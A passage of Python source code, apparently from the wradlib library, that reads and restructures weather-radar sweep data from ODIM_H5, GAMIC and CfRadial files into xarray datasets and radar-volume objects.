lat, lat_attrs),\n            altitude=Variable((), alt, alt_attrs),\n        )\n\n        return coordinates\n\n    @property\n    def site_coords(self):\n        return self._get_site_coords()\n\n    @property\n    def time(self):\n        return self._get_time()\n\n    @property\n    def fixed_dim_and_angle(self):\n        return self._get_fixed_dim_and_angle()\n\n    @property\n    def range(self):\n        return self._get_range()\n\n    @property\n    def what(self):\n        return self._get_dset_what()\n\n    def _get_fixed_dim_and_angle(self):\n        how = self._root[self._group][\"how\"].attrs\n        dims = {0: \"elevation\", 1: \"azimuth\"}\n        try:\n            dim = 1\n            angle = np.round(how[dims[0]], decimals=1)\n        except KeyError:\n            dim = 0\n            angle = np.round(how[dims[1]], decimals=1)\n\n        return dims[dim], angle\n\n    def _get_range(self):\n        how = self._root[self._group][\"how\"].attrs\n        range_samples = how[\"range_samples\"]\n        range_step = how[\"range_step\"]\n        ngates = how[\"bin_count\"]\n        bin_range = range_step * range_samples\n        cent_first = bin_range / 2.0\n        range_data = np.arange(\n            cent_first,\n            bin_range * ngates,\n            bin_range,\n            dtype=\"float32\",\n        )\n        return range_data, cent_first, bin_range\n\n    def _get_time(self):\n        start = self._root[self._group][\"how\"].attrs[\"timestamp\"]\n        start = dateutil.parser.parse(start)\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        return start\n\n    def _get_site_coords(self):\n        lon = self._root[\"where\"].attrs[\"lon\"].item()\n        lat = self._root[\"where\"].attrs[\"lat\"].item()\n        alt = self._root[\"where\"].attrs[\"height\"].item()\n        return lon, lat, alt\n\n\ndef _fix_angle(da):\n    # fix elevation outliers\n    if len(set(da.values)) > 1:\n        med = da.median(skipna=True)\n        da = da.where(da == med).fillna(med)\n    return da\n\n\ndef _remove_duplicate_rays(ds, store=None):\n    dimname = list(ds.dims)[0]\n    # find exact duplicates and remove\n    _, idx = np.unique(ds[dimname], return_index=True)\n    if len(idx) < len(ds[dimname]):\n        ds = ds.isel({dimname: idx})\n        # if ray_time was erroneously created from wrong dimensions\n        # we need to recalculate it\n        if store and store._need_time_recalc:\n            ray_times = store._get_ray_times(nrays=len(idx))\n            # need to decode only if ds is decoded\n            if \"units\" in ds.rtime.encoding:\n                ray_times = xr.decode_cf(xr.Dataset({\"rtime\": ray_times})).rtime\n            ds = ds.assign({\"rtime\": ray_times})\n    return ds\n\n\ndef _reindex_angle(ds, store=None, force=False, tol=0.4):\n    # Todo: The current code assumes to have PPI's of 360deg and RHI's of 90deg,\n    #       make this work also for sectorized measurements\n    # disentangle different functionality\n    full_range = dict(azimuth=360, elevation=90)\n    dimname = list(ds.dims)[0]\n    secname = \"elevation\"\n    dim = ds[dimname]\n    diff = dim.diff(dimname)\n    # this captures different angle spacing\n    # catches also missing rays and double rays\n    # and other erroneous ray alignments which result in different diff values\n    diffset = set(diff.values)\n    non_uniform_angle_spacing = len(diffset) > 1\n    # this captures missing and additional rays in case the angle differences\n    # are equal\n    non_full_circle = False\n    if not non_uniform_angle_spacing:\n        res = list(diffset)[0]\n        non_full_circle = ((res * ds.dims[dimname]) % full_range[dimname]) != 0\n\n    # fix issues with ray alignment\n    if force | non_uniform_angle_spacing | non_full_circle:\n        # create new array and reindex\n        if store and hasattr(store, \"angle_resolution\"):\n            res = store.angle_resolution\n        elif hasattr(ds[dimname], \"angle_res\"):\n            res = ds[dimname].angle_res\n        else:\n            res = diff.median(dimname).values\n        new_rays = int(np.round(full_range[dimname] / res, decimals=0))\n\n        # find exact duplicates and remove\n        ds = _remove_duplicate_rays(ds, store=store)\n\n        # do we have all needed rays?\n        if non_uniform_angle_spacing | len(ds[dimname]) != new_rays:\n            # todo: check if assumption that beam center points to\n            #       multiples of res/2. is correct in any case\n            # it might fail for cfradial1 data which already points to beam centers\n            azr = np.arange(res / 2.0, new_rays * res, res, dtype=diff.dtype)\n            fill_value = {\n                k: np.asarray(v._FillValue).astype(v.dtype)\n                for k, v in ds.items()\n                if hasattr(v, \"_FillValue\")\n            }\n            # todo: make tolerance parameterizable\n            ds = ds.reindex(\n                {dimname: azr},\n                method=\"nearest\",\n                tolerance=res * tol,\n                fill_value=fill_value,\n            )\n\n        # check other coordinates\n        # check secondary angle coordinate (no nan)\n        # set nan values to reasonable median\n        if hasattr(ds, secname) and np.count_nonzero(np.isnan(ds[secname])):\n            ds[secname] = ds[secname].fillna(ds[secname].median(skipna=True))\n        # todo: rtime is also affected, might need to be treated accordingly\n\n    return ds\n\n\ndef _get_h5group_names(filename, engine):\n    if engine == \"odim\":\n        groupname = \"dataset\"\n    elif engine == \"gamic\":\n        groupname = \"scan\"\n    elif engine == \"cfradial2\":\n        groupname = \"sweep\"\n    else:\n        raise ValueError(f\"wradlib: unknown engine `{engine}`.\")\n    with h5netcdf.File(filename, \"r\", decode_vlen_strings=True) as fh:\n        groups = [\"/\".join([\"\", grp]) for grp in fh.groups if groupname in grp.lower()]\n    if isinstance(filename, io.BytesIO):\n        filename.seek(0)\n    return groups\n\n\ndef _get_nc4group_names(filename, engine):\n    if engine == \"cfradial2\":\n        groupname = \"sweep\"\n    else:\n        raise ValueError(f\"wradlib: unknown engine `{engine}`.\")\n    with nc.Dataset(filename, \"r\") as fh:\n        groups = [\"\".join([\"\", grp]) for grp in fh.groups if groupname in grp.lower()]\n    if isinstance(filename, io.BytesIO):\n        filename.seek(0)\n    return groups\n\n\ndef _get_odim_variable_name_and_attrs(name, attrs):\n    if \"data\" in name:\n        name = attrs.pop(\"quantity\")\n        # handle non-standard moment names\n        try:\n            mapping = moments_mapping[name]\n        except KeyError:\n            pass\n        else:\n            attrs.update({key: mapping[key] for key in moment_attrs})\n        attrs[\n            \"coordinates\"\n        ] = \"elevation azimuth range latitude longitude altitude time rtime sweep_mode\"\n    return name, attrs\n\n\ndef _get_gamic_variable_name_and_attrs(attrs, dtype):\n    name = attrs.pop(\"moment\").lower()\n    try:\n        name = GAMIC_NAMES[name]\n    except KeyError:\n        # ds = ds.drop_vars(mom)\n        pass\n\n    dmax = np.iinfo(dtype).max\n    dmin = np.iinfo(dtype).min\n    minval = attrs.pop(\"dyn_range_min\")\n    maxval = attrs.pop(\"dyn_range_max\")\n    dtype = minval.dtype\n    dyn_range = maxval - minval\n    if maxval != minval:\n        gain = dyn_range / (dmax - 1)\n        minval -= gain\n    else:\n        gain = (dmax - dmin) / dmax\n        minval = dmin\n    # ensure numpy type\n    gain = np.array([gain])[0].astype(dtype)\n    minval = np.array([minval])[0].astype(dtype)\n    undetect = np.array([dmin])[0].astype(dtype)\n    attrs[\"scale_factor\"] = gain\n    attrs[\"add_offset\"] = minval\n    attrs[\"_FillValue\"] = undetect\n    attrs[\"_Undetect\"] = undetect\n\n    attrs[\n        \"coordinates\"\n    ] = \"elevation azimuth range latitude longitude altitude time rtime sweep_mode\"\n\n    return name, attrs\n\n\ndef _get_ray_header_data(dimensions, data, encoding):\n    ray_header = Variable(dimensions, data, {}, encoding)\n\n    azstart = ray_header.values[\"azimuth_start\"]\n    azstop = ray_header.values[\"azimuth_stop\"]\n    zero_index = np.where(azstop < azstart)\n    azstop[zero_index[0]] += 360\n    azimuth = (azstart + azstop) / 2.0\n\n    elstart = ray_header.values[\"elevation_start\"]\n    elstop = ray_header.values[\"elevation_stop\"]\n    elevation = (elstart + elstop) / 2.0\n\n    rtime = ray_header.values[\"timestamp\"] / 1e6\n\n    return dict(azimuth=azimuth, elevation=elevation, rtime=rtime)\n\n\ndef _unpack_netcdf_delta_units_ref_date(units):\n    matches = re.match(r\"(.+) since (.+)\", units)\n    if not matches:\n        raise ValueError(f\"invalid time units: {units}\")\n    return [s.strip() for s in matches.groups()]\n\n\ndef _rewrite_time_reference_units(ds):\n    has_time_reference = \"time_reference\" in ds.variables\n    if has_time_reference:\n        ref_date = str(ds.variables[\"time_reference\"].data)\n        for v in ds.variables.values():\n            attrs = v.attrs\n            has_time_reference_units = (\n                \"units\" in attrs\n                and \"since\" in attrs[\"units\"]\n                and \"time_reference\" in attrs[\"units\"]\n            )\n            if has_time_reference_units and has_time_reference:\n                delta_units, _ = _unpack_netcdf_delta_units_ref_date(attrs[\"units\"])\n                v.attrs[\"units\"] = \" \".join([delta_units, \"since\", ref_date])\n    return ds\n\n\ndef _assign_data_radial(root, sweep=\"sweep_1\"):\n    \"\"\"Assign from CfRadial1 data structure.\n\n    Parameters\n    ----------\n    root : xarray.Dataset\n        Dataset of CfRadial1 file\n    sweep : str, optional\n        Sweep name to extract, default to first sweep. If None, all sweeps are\n        extracted into a list.\n    \"\"\"\n    var = root.variables.keys()\n    remove_root = var ^ root_vars\n    remove_root &= var\n    root1 = root.drop_vars(remove_root).rename({\"fixed_angle\": \"sweep_fixed_angle\"})\n    sweep_group_name = []\n    for i in range(root1.dims[\"sweep\"]):\n        sweep_group_name.append(\"sweep_{}\".format(i + 1))\n\n    keep_vars = sweep_vars1 | sweep_vars2 | sweep_vars3\n    remove_vars = var ^ keep_vars\n    remove_vars &= var\n    data = root.drop_vars(remove_vars)\n    data.attrs = {}\n    start_idx = data.sweep_start_ray_index.values\n    end_idx = data.sweep_end_ray_index.values\n    data = data.drop_vars({\"sweep_start_ray_index\", \"sweep_end_ray_index\"})\n    sweeps = []\n    for i, sw in enumerate(sweep_group_name):\n        if sweep is not None and sweep != sw:\n            continue\n        tslice = slice(start_idx[i], end_idx[i] + 1)\n        ds = data.isel(time=tslice, sweep=slice(i, i + 1)).squeeze(\"sweep\")\n        ds.sweep_mode.load()\n        sweep_mode = ds.sweep_mode.item().decode()\n        dim0 = \"elevation\" if sweep_mode == \"rhi\" else \"azimuth\"\n        ds = ds.swap_dims({\"time\": dim0})\n        ds = ds.rename({\"time\": \"rtime\"})\n\n        ds.attrs[\"fixed_angle\"] = np.round(ds.fixed_angle.item(), decimals=1)\n        time = ds.rtime[0].reset_coords(drop=True)\n        # get and delete \"comment\" attribute for time variable\n        key = [key for key in time.attrs.keys() if \"comment\" in key]\n        for k in key:\n            del time.attrs[k]\n        coords = {\n            \"longitude\": root1.longitude,\n            \"latitude\": root1.latitude,\n            \"altitude\": root1.altitude,\n            \"azimuth\": ds.azimuth,\n            \"elevation\": ds.elevation,\n            \"sweep_mode\": sweep_mode,\n            \"time\": time,\n        }\n        ds = ds.assign_coords(**coords)\n        sweeps.append(ds)\n\n    return sweeps\n\n\ndef _assign_data_radial2(ds):\n    \"\"\"Assign from CfRadial2 data structure.\n\n    Parameters\n    ----------\n    ds : Dataset\n\n    \"\"\"\n    ds.sweep_mode.load()\n    sweep_mode = ds.sweep_mode.item()\n    dim0 = \"elevation\" if sweep_mode == \"rhi\" else \"azimuth\"\n    ds = ds.swap_dims({\"time\": dim0})\n    ds = ds.rename({\"time\": \"rtime\"})\n    time = ds.rtime[0].reset_coords(drop=True).dt.round(\"S\")\n    # todo: check use-case\n    key = [key for key in time.attrs.keys() if \"comment\" in key]\n    if key:\n        del time.attrs[key[0]]\n    coords = {\n        \"azimuth\": ds.azimuth,\n        \"elevation\": ds.elevation,\n        \"sweep_mode\": sweep_mode,\n        \"time\": time,\n    }\n    ds = ds.assign_coords(**coords)\n\n    return ds\n\n\ndef open_radar_dataset(filename_or_obj, engine=None, **kwargs):\n    \"\"\"Open and decode a radar sweep or volume from a single file or file-like object.\n\n    This function uses ``xarray.open_dataset`` under the hood. Please refer for\n    details to the documentation of ``xarray.open_dataset``.\n\n    Parameters\n    ----------\n    filename_or_obj : str, Path, file-like or DataStore\n        Strings and Path objects are interpreted as a path to a local or remote\n        radar file and opened with an appropriate engine.\n    engine : {\"odim\", \"gamic\", \"cfradial1\", \"cfradial2\"}\n        Engine to use when reading files.\n\n    Keyword Arguments\n    -----------------\n    group : str, optional\n        Path to a sweep group in the given file to open.\n    **kwargs : optional\n        Additional arguments passed on to :py:func:`xarray.open_dataset`.\n\n    Returns\n    -------\n    dataset : xarray.Dataset | wradlib.io.RadarVolume\n        The newly created radar dataset or radar volume.\n\n    See Also\n    --------\n    wradlib.io.open_radar_mfdataset\n    \"\"\"\n    if engine not in [\"cfradial1\", \"cfradial2\", \"gamic\", \"odim\"]:\n        raise TypeError(f\"Missing or unknown `engine` keyword argument '{engine}'.\")\n\n    group = kwargs.pop(\"group\", None)\n\n    backend_kwargs = kwargs.pop(\"backend_kwargs\", {})\n\n    if engine == \"cfradial1\":\n        groups = [None]\n    elif isinstance(group, str):\n        groups = [group]\n    else:\n        if engine == \"cfradial2\":\n            groups = _get_nc4group_names(filename_or_obj, engine)\n        else:\n            groups = _get_h5group_names(filename_or_obj, engine)\n\n    if engine in [\"gamic\", \"odim\"]:\n        keep_azimuth = kwargs.pop(\"keep_azimuth\", False)\n        backend_kwargs[\"keep_azimuth\"] = keep_azimuth\n\n    kwargs[\"backend_kwargs\"] = backend_kwargs\n\n    ds = [\n        xr.open_dataset(filename_or_obj, group=grp, engine=engine, **kwargs)\n        for grp in groups\n    ]\n\n    if engine == \"cfradial1\":\n        ds = _assign_data_radial(ds[0], sweep=group)\n\n    if group is None:\n        vol = RadarVolume()\n        vol.extend(ds)\n        vol.sort(key=lambda x: x.time.min().values)\n        ds = vol\n    else:\n        ds = ds[0]\n\n    return ds\n\n\ndef open_radar_mfdataset(paths, **kwargs):\n    \"\"\"Open multiple radar files as a single radar sweep dataset or radar volume.\n\n    This function uses ``xarray.open_mfdataset`` under the hood. Please refer for\n    details to the documentation of ``xarray.open_mfdataset``.\n\n    Parameters\n    ----------\n    paths : str or sequence\n        Either a string glob in the form ``\"path/to/my/files/*\"`` or an explicit list of\n        files to open. Paths can be given as strings or as pathlib Paths. If\n        concatenation along more than one dimension is desired, then ``paths`` must be a\n        nested list-of-lists (see ``xarray.combine_nested`` for details). (A string glob will\n        be expanded to a 1-dimensional list.)\n    chunks : int or dict, optional\n        Dictionary with keys given by dimension names and values given by chunk sizes.\n        In general, these should divide the dimensions of each dataset. If int, chunk\n        each dimension by ``chunks``. By default, chunks will be chosen to load entire\n        input files into memory at once. This has a major impact on performance: please\n        see the full documentation for more details [2]_.\n    concat_dim : str, or list of str, DataArray, Index or None, optional\n        Dimensions to concatenate files along.  You only need to provide this argument\n        if ``combine='by_coords'``, and if any of the dimensions along which you want to\n        concatenate is not a dimension in the original datasets, e.g., if you want to\n        stack a collection of 2D arrays along a third dimension. Set\n        ``concat_dim=[..., None, ...]`` explicitly to disable concatenation along a\n        particular dimension. Default is None, which for a 1D list of filepaths is\n        equivalent to opening the files separately and then merging them with\n        ``xarray.merge``.\n    combine : {\"by_coords\", \"nested\"}, optional\n        Whether ``xarray.combine_by_coords`` or ``xarray.combine_nested`` is used to\n        combine all the data. Default is to use ``xarray.combine_by_coords``.\n    engine : {\"odim\", \"gamic\", \"cfradial1\", \"cfradial2\"}\n        Engine to use when reading files.\n    **kwargs : optional\n        Additional arguments passed on to :py:func:`xarray.open_mfdataset`.\n\n    Returns\n    -------\n    dataset : xarray.Dataset | wradlib.RadarVolume\n\n    See Also\n    --------\n    wradlib.io.open_radar_dataset\n    \"\"\"\n\n    def _unpack_paths(paths):\n        from pathlib import Path\n\n        out = []\n        for p in paths:\n            if isinstance(p, list):\n                out.append(_unpack_paths(p))\n            else:\n                if isinstance(p, io.BytesIO):\n                    out.append(p)\n                else:\n                    if os.path.isfile(p):\n                        if isinstance(p, Path):\n                            out.append(str(p))\n                        else:\n                            out.append(p)\n                    else:\n                        out.append(sorted(glob.glob(p)))\n        return out\n\n    def _align_paths(paths):\n\n        if isinstance(paths, str):\n            paths = sorted(glob.glob(paths))\n        else:\n            paths = _unpack_paths(paths)\n        patharr = np.array(paths)\n\n        if patharr.ndim == 2 and len(patharr) == 1:\n            patharr = patharr[0]\n\n        return patharr\n\n    patharr = _align_paths(paths)\n\n    def _concat_combine(kwargs, patharr):\n        concat_dim = kwargs.pop(\"concat_dim\", \"time\")\n        combine = kwargs.pop(\"combine\", \"nested\")\n        if concat_dim and patharr.ndim > 1:\n            concat_dim = [\"time\"] + (patharr.ndim - 1) * [None]\n        if concat_dim is None:\n            combine = \"by_coords\"\n        return concat_dim, combine\n\n    concat_dim, combine = _concat_combine(kwargs, patharr)\n    engine = kwargs.pop(\"engine\")\n\n    group = kwargs.pop(\"group\", None)\n    if group is None:\n        group = _get_h5group_names(patharr.flat[0], engine)\n    elif isinstance(group, str):\n        group = [group]\n    else:\n        pass\n\n    ds = [\n        xr.open_mfdataset(\n            patharr.tolist(),\n            engine=engine,\n            group=grp,\n            concat_dim=concat_dim,\n            combine=combine,\n            **kwargs,\n        )\n        for grp in tqdm(group)\n    ]\n\n    if len(ds) > 1:\n        vol = RadarVolume()\n        vol.extend(ds)\n        vol.sort(key=lambda x: x.time.min().values)\n        ds = vol\n    else:\n        ds = ds[0]\n\n    return ds\n\n\ndef _preprocess_moment(ds, mom, non_uniform_shape):\n\n    attrs = mom._decode(ds.data.attrs)\n    quantity = mom.quantity\n\n    # extract and translate attributes to cf\n    what = mom.what\n    attrs[\"scale_factor\"] = what[\"gain\"]\n    attrs[\"add_offset\"] = what[\"offset\"]\n    attrs[\"_FillValue\"] = what[\"nodata\"]\n    attrs[\"_Undetect\"] = what[\"undetect\"]\n\n    if mom.parent.decode_coords:\n        attrs[\"coordinates\"] = \"elevation azimuth range\"\n\n    # handle non-standard moment names\n    try:\n        mapping = moments_mapping[quantity]\n    except KeyError:\n        pass\n    else:\n        attrs.update({key: mapping[key] for key in moment_attrs})\n\n    ds[\"data\"] = ds[\"data\"].assign_attrs(attrs)\n\n    # fix dimensions\n    dims = sorted(list(ds.dims.keys()), key=lambda x: int(x[len(\"phony_dim_\") :]))\n\n    ds = ds.rename(\n        {\"data\": quantity, dims[0]: mom.parent._dim0[0], dims[1]: mom.parent._dim1}\n    )\n\n    # apply coordinates to dataset if source moments have different shapes\n    # and correct for it\n    if mom.parent.decode_coords & non_uniform_shape:\n        coords = mom.parent._get_coords()\n        ds = ds.assign_coords(coords.coords)\n        if mom.parent._dim0[0] == \"azimuth\":\n            ds = ds.sortby(mom.parent._dim0[0])\n            ds = ds.pipe(_reindex_angle, mom.parent)\n\n    return ds\n\n\ndef _open_mfmoments(\n    moments,\n    chunks=None,\n    compat=\"no_conflicts\",\n    preprocess=None,\n    engine=None,\n    lock=None,\n    data_vars=\"all\",\n    coords=\"minimal\",\n    parallel=False,\n    **kwargs,\n):\n    \"\"\"Open multiple OdimH5 moments as a single dataset.\n\n    This is derived from xarray.open_mfdataset [1]\n\n    Parameters\n    ----------\n    moments : sequence\n        List of XRadSweep objects.\n    chunks : int or dict, optional\n        Chunk size\n    preprocess : callable, optional\n        If provided, call this function on each dataset prior to concatenation.\n    engine : {'netcdf4', 'h5netcdf'}, optional\n        Engine to use when reading files. Defaults to 'netcdf4'.\n    lock : False or duck threading.Lock, optional\n        Resource lock to use when reading data from disk. Only relevant when\n        using dask or another form of parallelism. By default, appropriate\n        locks are chosen to safely read and write files with the currently\n        active dask scheduler.\n    data_vars : {'minimal', 'different', 'all' or list of str}, optional\n        These data variables will be concatenated together:\n          * 'minimal': Only data variables in which the dimension already\n            appears are included.\n          * 'different': Data variables which are not equal (ignoring\n            attributes) across all datasets are also concatenated (as well as\n            all for which dimension already appears). Beware: this option may\n            load the data payload of data variables into memory if they are not\n            already loaded.\n          * 'all': All data variables will be concatenated.\n          * list of str: The listed data variables will be concatenated, in\n            addition to the 'minimal' data variables.\n    parallel : bool, optional\n        If True, the open and preprocess steps of this function will be\n        performed in parallel using ``dask.delayed``. Default is False.\n    **kwargs : optional\n        Additional arguments passed on to :py:func:`xarray.open_dataset`.\n\n    Returns\n    -------\n    xarray.Dataset\n\n    References\n    ----------\n\n    .. [1] https://xarray.pydata.org/en/stable/generated/xarray.open_mfdataset.html\n\n    \"\"\"  # noqa\n\n    open_kwargs = dict(chunks=chunks, **kwargs)\n\n    # if moments are specified in XRadTimeseries only load those\n    if moments.parent._moments is not None:\n        moments = [p for p in moments if p.quantity in moments.parent._moments]\n\n    engine = moments[0].engine\n    if engine == \"netcdf4\":\n        opener = nc.Dataset\n        opener_kwargs = {}\n        store = xr.backends.NetCDF4DataStore\n    else:\n        if LooseVersion(h5netcdf.__version__) < LooseVersion(\"0.8.0\"):\n            warnings.warn(\n                f\"WRADLIB: 'h5netcdf>=0.8.0' needed to perform this \"\n                f\"operation. 'h5netcdf={h5netcdf.__version__} \"\n                f\"available.\",\n                UserWarning,\n            )\n            return None\n        if LooseVersion(xr.__version__) < LooseVersion(\"0.15.0\"):\n            warnings.warn(\n                f\"WRADLIB: 'xarray>=0.15.0' needed to perform this \"\n                f\"operation. 'xarray={xr.__version__} \"\n                f\"available.\",\n                UserWarning,\n            )\n            return None\n        opener = h5netcdf.File\n        opener_kwargs = dict(phony_dims=\"access\")\n        store = xr.backends.H5NetCDFStore\n\n    # do not use parallel if all moments in one file\n    if len(set([p.filename for p in moments])) == 1:\n        single_file = True\n        if os.path.isfile(moments[0].filename):\n            ds0 = opener(moments[0].filename, \"r\", **opener_kwargs)\n        else:\n            ds0 = moments[0].ncfile\n    else:\n        single_file = False\n\n    if parallel:\n        import dask\n\n        # wrap the open_dataset, getattr, and preprocess with delayed\n        open_ = dask.delayed(xr.open_dataset)\n        getattr_ = dask.delayed(getattr)\n        if preprocess is not None:\n            preprocess = dask.delayed(preprocess)\n    else:\n        open_ = xr.open_dataset\n        getattr_ = getattr\n\n    if single_file:\n        datasets = [open_(store(ds0, group=p.ncpath)) for p in moments]\n    else:\n        fileid = []\n        for p in moments:\n            if os.path.isfile(p.filename):\n                p = opener(p.filename, \"r\", **opener_kwargs)\n            else:\n                p = p.ncfile\n            fileid.append(p)\n        datasets = [\n            open_(store(f, group=p.ncpath), **open_kwargs)\n            for f, p in zip(fileid, moments)\n        ]\n    if LooseVersion(xr.__version__) <= LooseVersion(\"0.16.2\"):\n        closers = [getattr_(ds, \"_file_obj\") for ds in datasets]\n    else:\n        closers = [getattr_(ds, \"_close\") for ds in datasets]\n\n    # check for differences in shape of moments\n    non_uniform_shape = len(set([tuple(ds.sizes.values()) for ds in datasets])) > 1\n    if preprocess is not None:\n        datasets = [\n            preprocess(ds, mom, non_uniform_shape) for ds, mom in zip(datasets, moments)\n        ]\n\n    if parallel:\n        # calling compute here will return the datasets/file_objs lists,\n        # the underlying datasets will still be stored as dask arrays\n        datasets, closers = dask.compute(datasets, closers)\n\n    # Combine all datasets, closing them in case of a ValueError\n    try:\n        combined = combine_by_coords(\n            datasets, compat=\"no_conflicts\", data_vars=\"all\", coords=\"minimal\"\n        )\n    except ValueError:\n        for ds in datasets:\n            ds.close()\n        raise\n\n    if LooseVersion(xr.__version__) <= LooseVersion(\"0.16.2\"):\n        from xarray.backends.api import _MultiFileCloser\n\n        combined._file_obj = _MultiFileCloser(closers)\n    else:\n\n        def multi_file_closer():\n            for closer in closers:\n                closer()\n\n        combined.set_close(multi_file_closer)\n\n    combined.attrs = datasets[0].attrs\n    return combined\n\n\nclass XRadBase(collections.abc.MutableSequence):\n    \"\"\"Base Class for all XRad-classes.\"\"\"\n\n    def __init__(self, **kwargs):\n        super(XRadBase, self).__init__()\n        self._seq = []\n\n    def __getitem__(self, index):\n        return self._seq[index]\n\n    def __setitem__(self, index, value):\n        self._seq[index] = value\n\n    def __delitem__(self, index):\n        del self._seq[index]\n\n    def insert(self, pos, val):\n        self._seq.insert(pos, val)\n\n    def __iter__(self):\n        return iter(self._seq)\n\n    def __len__(self):\n        return len(self._seq)\n\n    def __repr__(self):\n        return self._seq.__repr__()\n\n    def __del__(self):\n        if self._seq:\n            for i in range(len(self._seq)):\n                del self._seq[0]\n            self._seq = None\n\n    def sort(self, **kwargs):\n        self._seq.sort(**kwargs)\n\n\nclass RadarVolume(XRadBase):\n    \"\"\"Class for holding a volume of radar sweeps\"\"\"\n\n    def __init__(self, **kwargs):\n        super(RadarVolume, self).__init__()\n        self._data = None\n        self._root = None\n        self._dims = dict(azimuth=\"elevation\", elevation=\"azimuth\")\n\n    def __repr__(self):\n        summary = [\"<wradlib.{}>\".format(type(self).__name__)]\n        dims = \"Dimension(s):\"\n        dims_summary = f\"sweep: {len(self)}\"\n        summary.append(\"{} ({})\".format(dims, dims_summary))\n        dim = list(self[0].dims.keys())[0]\n        angle = f\"{self._dims[dim].capitalize()}(s):\"\n        angle_summary = [f\"{v.attrs['fixed_angle']:.1f}\" for v in self]\n        angle_summary = \", \".join(angle_summary)\n        summary.append(\"{} ({})\".format(angle, angle_summary))\n\n        return \"\\n\".join(summary)\n\n    @property\n    def root(self):\n        \"\"\"Return root object.\"\"\"\n        if self._root is None:\n            self.assign_root()\n        return self._root\n\n    def get_attrs(self, sweep, group):\n        for v in self[sweep].variables.values():\n            if \"source\" in v.encoding:\n                src = v.encoding[\"source\"]\n                break\n        return xr.open_dataset(src, group=group).attrs\n\n    def get_attr(self, sweep, group, attr):\n        for v in self[sweep].variables.values():\n            if \"source\" in v.encoding:\n                src = v.encoding[\"source\"]\n                break\n        return xr.open_dataset(src, group=group).attrs[attr]\n\n    def assign_root(self):\n        \"\"\"(Re-)Create root object according CfRadial2 standard\"\"\"\n        # assign root variables\n        sweep_group_names = [f\"sweep_{i}\" for i in range(len(self))]\n\n        sweep_fixed_angles = [ts.attrs[\"fixed_angle\"] for ts in self]\n\n        # extract time coverage\n        times = np.array(\n            [[ts.rtime.values.min(), ts.rtime.values.max()] for ts in self]\n        ).flatten()\n        time_coverage_start = min(times)\n        time_coverage_end = max(times)\n\n        time_coverage_start_str = str(time_coverage_start)[:19] + \"Z\"\n        time_coverage_end_str = str(time_coverage_end)[:19] + \"Z\"\n\n        # create root group from scratch\n        root = xr.Dataset()  # data_vars=wrl.io.xarray.global_variables,\n        # attrs=wrl.io.xarray.global_attrs)\n\n        # take first dataset/file for retrieval of location\n        # site = self.site\n\n        # assign root variables\n        root = root.assign(\n            {\n                \"volume_number\": 0,\n                \"platform_type\": str(\"fixed\"),\n                \"instrument_type\": \"radar\",\n                \"primary_axis\": \"axis_z\",\n                \"time_coverage_start\": time_coverage_start_str,\n                \"time_coverage_end\": time_coverage_end_str,\n                \"latitude\": self[0][\"latitude\"],\n                \"longitude\": self[0][\"longitude\"],\n                \"altitude\": self[0][\"altitude\"],\n                \"sweep_group_name\": ([\"sweep\"], sweep_group_names),\n                \"sweep_fixed_angle\": ([\"sweep\"], sweep_fixed_angles),\n            }\n        )\n\n        # assign root attributes\n        attrs = {}\n        attrs.update(\n            {\n                \"version\": \"None\",\n                \"title\": \"None\",\n                \"institution\": \"None\",\n                \"references\": \"None\",\n                \"source\": \"None\",\n                \"history\": \"None\",\n                \"comment\": \"im/exported using wradlib\",\n                \"instrument_name\": \"None\",\n            }\n        )\n        # attrs[\"version\"] = self[0].attrs[\"version\"]\n        root = root.assign_attrs(attrs)\n        # todo: pull in only CF attributes\n        root = root.assign_attrs(self[0].attrs)\n        self._root = root\n\n    @property\n    def site(self):\n        \"\"\"Return coordinates of radar site.\"\"\"\n        return self[0][[\"latitude\", \"longitude\", \"altitude\"]]\n\n    @property\n    def Conventions(self):\n        \"\"\"Return Conventions string.\"\"\"\n        try:\n            conv = self[0].attrs[\"Conventions\"]\n        except KeyError:\n            conv = None\n        return conv\n\n    def to_odim(self, filename, timestep=0):\n        \"\"\"Save volume to ODIM_H5/V2_2 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int\n            timestep of wanted volume\n        \"\"\"\n        if self.root:\n            to_odim(self, filename, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No OdimH5-compliant data structure \" \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def to_cfradial2(self, filename, timestep=0):\n        \"\"\"Save volume to CfRadial2 compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int\n            timestep wanted volume\n        \"\"\"\n        if self.root:\n            to_cfradial2(self, filename, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No CfRadial2-compliant data structure \"\n                \"available. Not saving.\",\n                UserWarning,\n            )\n\n    def to_netcdf(self, filename, timestep=None, keys=None):\n        \"\"\"Save volume to netcdf compliant file.\n\n        Parameters\n        ----------\n        filename : str\n            Name of the output file\n        timestep : int, slice\n            timestep/slice of wanted volume\n        keys : list\n            list of sweep_group_names which should be written to the file\n        \"\"\"\n        if self.root:\n            to_netcdf(self, filename, keys=keys, timestep=timestep)\n        else:\n            warnings.warn(\n                \"WRADLIB: No netcdf-compliant data structure \" \"available. Not saving.\",\n                UserWarning,\n            )\n\n\nclass OdimH5GroupAttributeMixin:\n    \"\"\"Mixin Class for Odim Group Attribute Retrieval\"\"\"\n\n    __slots__ = [\"_attrs\", \"_ncfile\", \"_ncpath\", \"_parent\", \"_how\", \"_what\", \"_where\"]\n\n    def __init__(self, ncfile=None, ncpath=None, parent=None):\n        super(OdimH5GroupAttributeMixin, self).__init__()\n        self._ncfile = ncfile\n        self._ncpath = ncpath\n        self._parent = parent\n        self._attrs = None\n        self._how = None\n        self._what = None\n        self._where = None\n\n    @property\n    def ncpath(self):\n        \"\"\"Returns path string inside HDF5 File.\"\"\"\n        return self._ncpath\n\n    @property\n    def ncid(self):\n        \"\"\"Returns handle for current path.\"\"\"\n        # root-group can't be subset with netcdf4 and h5netcdf\n        if self._ncpath == \"/\":\n            if isinstance(self.ncfile, (nc.Dataset, h5netcdf.File)):\n                return self._ncfile\n        return self._ncfile[self.ncpath]\n\n    @property\n    def ncfile(self):\n        \"\"\"Returns file handle.\"\"\"\n        return self._ncfile\n\n    @property\n    def how(self):\n        \"\"\"Return attributes of `how`-group.\"\"\"\n        if self._how is None:\n            self._how = self._get_attributes(\"how\")\n        return self._how\n\n    @property\n    def what(self):\n        \"\"\"Return attributes of `what`-group.\"\"\"\n        if self._what is None:\n            self._what = self._get_attributes(\"what\")\n        